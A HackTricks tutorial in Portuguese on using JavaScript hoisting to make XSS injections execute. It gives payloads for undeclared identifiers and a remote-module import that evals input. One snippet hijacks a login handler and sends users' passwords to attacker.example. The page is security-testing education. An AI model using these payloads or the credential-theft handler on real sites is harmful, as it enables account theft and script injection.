JS Hoisting

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informação Básica

Na linguagem JavaScript existe um mecanismo conhecido como Hoisting onde declarações de variáveis, funções, classes ou imports são conceitualmente elevadas ao topo do seu escopo antes da execução do código. Esse processo é realizado automaticamente pelo motor do JavaScript, que percorre o script em múltiplas passagens.

Durante a primeira passagem, o motor faz o parsing do código para checar por erros de sintaxe e o transforma em uma árvore de sintaxe abstrata. Essa fase inclui hoisting, um processo onde certas declarações são movidas para o topo do contexto de execução. Se a fase de parsing for bem-sucedida, indicando ausência de erros de sintaxe, a execução do script prossegue.

É crucial entender que:

  1. O script deve estar livre de erros de sintaxe para que a execução ocorra. As regras de sintaxe devem ser estritamente respeitadas.
  2. A colocação do código dentro do script afeta a execução devido ao hoisting, embora o código executado possa diferir de sua representação textual.

Tipos de Hoisting

Com base nas informações do MDN, existem quatro tipos distintos de hoisting em JavaScript:

  1. Value Hoisting: Permite o uso do valor de uma variável dentro do seu escopo antes da sua linha de declaração.
  2. Declaration Hoisting: Permite referenciar uma variável dentro do seu escopo antes da sua declaração sem causar um ReferenceError, mas o valor da variável será undefined.
  3. Este tipo altera o comportamento dentro do seu escopo devido à declaração da variável antes da sua linha real de declaração.
  4. Os efeitos colaterais da declaração ocorrem antes que o restante do código que a contém seja avaliado.

Em detalhe, declarações de função exibem o comportamento de hoisting do tipo 1. A palavra-chave var demonstra o comportamento do tipo 2. Declarações lexicais, que incluem let, const e class, mostram o comportamento do tipo 3. Por fim, as instruções import são únicas pois são hoisted com comportamentos dos tipos 1 e 4.

Cenários

Portanto, se você tiver cenários em que é possível Inject JS code after an undeclared object, você pode fix the syntax declarando-o (assim seu código será executado em vez de gerar um erro):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Mais Cenários

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Hoisting para contornar o tratamento de exceções

Quando o sink estiver envolvido em um try { x.y(...) } catch { ... }, ReferenceError interromperá a execução antes que seu payload seja executado. Você pode pré-declarar o identificador ausente para que a chamada não seja interrompida e sua expressão injetada seja executada primeiro:

// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)

// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //

function x(){} é hoisted antes da avaliação, então o parser não lança mais em x.y(...); prompt() é executado antes de y ser resolvido, depois um TypeError é lançado após seu código ter sido executado.

Antecipe declarações posteriores bloqueando um nome com const

Se você conseguir executar antes que um function foo(){...} de nível superior seja analisado pelo parser, declarar um binding léxico com o mesmo nome (por exemplo, const foo = ...) impedirá que a declaração de função posterior reatribua esse identificador. Isso pode ser abusado em RXSS para sequestrar handlers críticos definidos mais adiante na página:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Notas

  • Isto depende da ordem de execução e do escopo global (top-level).
  • Se seu payload for executado dentro de eval(), lembre-se que const/let dentro de eval são com escopo de bloco e não vão criar bindings globais. Injete um novo elemento <script> com o código para estabelecer um verdadeiro const global.

Dynamic import() with user-controlled specifiers

Aplicações renderizadas no servidor às vezes encaminham a entrada do usuário para import() para carregar componentes sob demanda. Se um loader como import-in-the-middle estiver presente, módulos wrapper são gerados a partir do especificador. Hoisted import evaluation busca e executa o módulo controlado pelo atacante antes que as linhas subsequentes sejam executadas, possibilitando RCE em contextos SSR (veja CVE-2023-38704).

Tooling

Scanners modernos começaram a adicionar payloads explícitos de hoisting. KNOXSS v3.6.5 lista “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” e “Hoisting Override” como casos de teste; executá-lo contra contextos RXSS que lançam ReferenceError/TypeError rapidamente revela candidatos a gadgets baseados em hoist.

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks